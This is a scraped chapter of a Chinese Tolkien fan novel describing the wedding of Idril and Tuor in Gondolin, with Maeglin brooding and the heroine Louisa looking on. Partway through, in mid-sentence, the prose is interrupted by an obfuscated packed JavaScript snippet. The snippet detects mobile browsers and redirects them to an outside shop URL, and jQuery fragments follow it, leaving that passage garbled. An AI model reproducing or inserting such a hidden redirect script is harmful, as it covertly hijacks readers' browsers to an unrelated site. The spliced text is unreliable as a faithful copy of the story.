文趣网 > 其他小说 > 屠龙少女路易莎[魔戒] > 16. 婚礼
    刚多林城南的加尔爱尼安刚刚从薄雾中苏醒。这片被称作诸神之地的加尔爱尼安坐落于王宫南侧,常年不受风雨侵袭,仿佛有某种古老的力量将它从尘世中托举而出。地面铺着洁白的云石,整片高地在晨光中如同一面巨大的镜子,映照着东方渐渐浮起的朝霞。

    云石之间生长着银叶树,那些树的叶片正面是墨绿,反面银白。微风拂过,树林便会翻涌起银色的波浪。树下开满了蓝铃花,一簇一簇的,颜色蓝得像是天空的一角。林间立着石柱,柱身上刻满了时光的纹饰——星辰、海浪、双圣树、以及那些在第一纪元之前就已经被唱诵过的古老歌谣。天光透过银叶树的枝叶洒落下来,被叶片切割成无数细小的光斑,在云石地面上流动、闪烁、汇聚又散开。

    刚多林的居民从黎明前就开始聚集。

    他们沿着白色的石板路,穿过王之广场,朝着诸神之地缓缓行去。

    整座高地静谧肃穆,精灵们站在石阶上、草坪间、树荫下……偶尔有风吹过树梢时发出悠长的叹息,远处的鸟鸣从环抱山脉的方向飘来。

    路易莎站在金花家族队列之中,旁边是梅莉丝。她穿着上次那一身银白礼服,腰间新系了一条金丝腰带,食指上带着那枚刻着金花和红宝石的戒指。她的黑发被梅莉丝仔细地编成了一条辫子,辫尾垂在后背,发间插着几朵新鲜的蓝铃花——那是梅莉丝今早新从花园里摘的。

    她还是第一次参加婚礼。

    在流浪的那些年,她见过人类聚落中举办婚礼。新娘戴着野花编成的花环,新郎穿着半新不旧的衣袍,全村人围着一堆篝火喝酒跳舞,喧闹声能传到几里之外。孩子们在人群中钻来钻去,狗在桌下争抢骨头,醉汉倒在草垛上呼呼大睡……

    但路易莎只是匆匆的过客,悄然路过罢了。

    刚多林的婚礼与人类的并不相同,整座城邦都静悄悄的,似乎在屏息凝神,等待着什么。

    路易莎的目光越过前面精灵的肩膀,望向高台中央。

    至高王图尔巩站在高台正中的位置,身后是两根最高的石柱,柱身缠绕着编制的花环。他今日穿着镶金的深靛王袍,厚重华贵,随着他的动作闪烁出光泽。他的头上戴着宝冠,宝石熠熠生辉,仿佛他头顶悬着一片星空。图尔巩右手握着权杖,杖头是一颗拳头大小的蓝宝石,被雕刻成火焰的形状。图尔巩持杖而立,身形如山岳般稳固,面容在晨光中显得格外肃穆。

    高台两侧分列着刚多林诸位领主。

    格罗芬德尔今日穿着极为隆重的礼装,深色的长袍外罩一件银白色的披风,披风上用金线绣着巨大的太阳纹章,纹章的边缘一直延伸到披风的下摆。他的表情庄重而平静,眼睛望向人群,似乎在寻找什么。路易莎看到他的目光从她所在的方向掠过,停顿了一瞬,然后迅速地移开了。

    埃克塞理安站在格罗芬德尔旁边,涌泉领主的服饰以银蓝两色为主,他的披风上绣着涌泉家族的纹章。他的面色比平时更显深沉,眼睛直直地注视着高台中央的至高王。

    杜伊林、加尔多、萨尔甘特……刚多林十二家族中的领主尽数到齐,他们站在高台两侧,衣饰华美,神情庄重。

    其中一位是黑鼹家族的领主迈格林。他今日穿着深色礼装,颜色如同凝固的夜色,与高台上其他的领主们形成了鲜明的对比。他的脸色比平时更加苍白,颧骨下的阴影显得格外深邃。他的嘴唇紧紧抿着,下巴的线条绷得如同一张拉满的弓。

    迈格林痴恋伊缀尔已经有数百年之久。从他跟着母亲进入刚多林开始,他就爱上了伊缀尔。那时他还不知道伊缀尔是他的表亲——他的母亲是图尔巩的妹妹。他曾经无数次向图尔巩暗示过自己的心意,也曾经在伊缀尔面前委婉地表达过倾慕,但伊缀尔从未给予过回应。她的拒绝总是温和而坚定,像是一条被青苔覆盖的溪流,表面柔软,底下却是冲刷不动的岩石。

    他本来可以等,精灵有的是时间。他可以等伊缀尔慢慢发现他的忠诚和深情,看清楚谁才是真正配得上她的人。

    但图奥的出现打碎了一切。

    一个人类,一个流亡的人类,一个靠着大鹰和乌欧牟的怜悯才活下来的卑微生物,竟然夺走了他数百年来求而不得的东西。

    人群欢呼的时候,迈格林的手暗中攥成了拳头。但他没有表现出任何异样,他的脸上甚至挂着得体的微笑。这是他数百年来在刚多林中伪装的本领,只在无人的夜晚,独自咀嚼那些不甘、嫉妒、怨毒和仇恨。

    路易莎觉得迈格林的表情看起来似乎有些熟悉,这让她忍不住多看了两眼。不是因为她认识迈格林——她只在宴会上远远地见过他一次。不知道是她的错觉还是多年流浪养成的直觉,那种不安没有来由,她总觉得迈格林让她格外在意。

    不过路易莎并不没有读心的能力,并不知道迈格林此刻所想。

    所以她最终移开了目光。

    乐声响起。

    竖琴与长笛交织而成悠扬而空灵的旋律。

    伊缀尔石阶上缓缓走来。

    人群自动向两侧退开,为她让出一条铺满银叶和蓝铃花的通道。她赤着双足,莹白纤细的脚掌踏在地面上,没有发出任何声响。她的族人们唤她“银足”——这个名字在今日显得格外贴切,她的双脚似乎走在一汪月光上。

    伊缀尔身着一袭织锦长裙,银色的丝线与蚕丝交织,织出了繁复而细腻的纹样。裙裾拖在身后,每走一步便在地面上漾开一片银光,如同一轮满月在云海上缓缓移动。她的长发没有束起,而是如溪流般垂落在肩头和后背,额上坠着一枚蓝晶石,被银丝编织的细链固定在发间,那宝石的颜色与加尔爱尼安的蓝铃花如出一辙,随着她每一步的迈出轻轻摇曳。

    她抬起头,望向高台中央。

    图奥已经站在那里。

    他今日穿着刚多林巧匠为他量身打造的礼装。面料与图尔巩的王袍同出一源,只是少了那些繁复的绣纹,显得更加简洁利落。袍子的领口和袖口镶

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17606335|205735||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    着一圈银边,腰间系着一条宽皮带,皮带上挂着他的名剑。他的身形与精灵一般高大,肩背宽阔,面容英武坚毅。他的头发被修剪得很短,与精灵们那些垂落到腰际的长发区别开来。

    图奥的神色恭谨而庄重,但他的眼睛在伊缀尔出现的那一刻,忽然亮了起来。

    与图奥一样,伊缀尔的目光始终没有离开过图奥。蓝铃花的香气在她经过的时候变得更加浓郁,银叶树上的露珠在她路过时轻轻坠落,碎成无数细小的水晶。

    伊缀尔一步步走上高台,裙裾在石阶上一层层地铺展开来,像是展开了一幅画卷。

    她在图奥面前停下。

    两人之间隔着不到一臂的距离。图奥低下头,伊缀尔抬起眼睛,目光在空气中相遇。

    周围的数位精灵、整座圣地、乃至整座刚多林,似乎都在那一瞬间屏住了呼吸。

    图尔巩的声音率先响起,清朗悠远,传遍了诸神之地的每一个角落。

    他诵念的是诺多族的婚仪祝词。那祝词的起源可以追溯到精灵在库维因恩湖畔苏醒的年代,比太阳和月亮更古老,比任何一座精灵城邦的建城史都要漫长。

    关于相守、关于忠诚、关于承诺……

    图尔巩诵念完毕,将权杖轻轻点在图奥的肩上,又轻轻点在伊缀尔的肩膀。

    伊缀尔与图奥同时向前迈了一步,并肩站在一起。他们伸出右手,握住了对方的右手,十指交缠,掌心贴着掌心。伊缀尔的手指修长而纤细,指甲修剪得整齐圆润,在晨光中泛着珍珠般的光泽。图奥的手指粗壮而有力,指节上布满了剑茧和陈旧的伤痕。两只手紧紧握在一起,像是两棵彼此缠绕的树。

    伊缀尔先开口。

    她的声音清澈而坚定:“我,伊缀尔,愿与图奥相守,无论日月轮转、无论光明黑暗,我的心为他而跳动,此誓至死不渝。”

    她的声音落下,人群中响起一片低低的叹息。

    图奥接过了誓言。他的声音比伊缀尔低沉,语气同样坚定。因为他知道自己许下的誓言,对于人类短暂的生命而言,意味着什么。

    “我,图奥,我将与伊缀尔相守,无论日月轮转、无论光明黑暗,我的长剑为她而往,我的盾牌为她而举,我的灵魂为她而燃烧。此誓至死不渝。”

    至死不渝。

    这句话似乎并不能用来约束精灵,他们并不会真正死去,但图奥坚持要这么做。

    因为人类知道死亡意味着什么——意味着终结,意味着离别,意味着永远诀别。这四个字从图奥的唇间吐出时,带着一种深沉的宿命。

    图奥知道,身为人类,他早已做好了准备。

    整座加尔爱尼安高地上响起了轻柔的颂歌。所有精灵同时开口,共同唱起了那首古老的赞颂爱与联结的歌谣。

    旋律悠扬而空灵,没有激昂的高潮,没有悲怆的低谷,声音被风从一个人的唇间吹到另一个人的耳中,生根、发芽、开出小小的、看不见的花朵。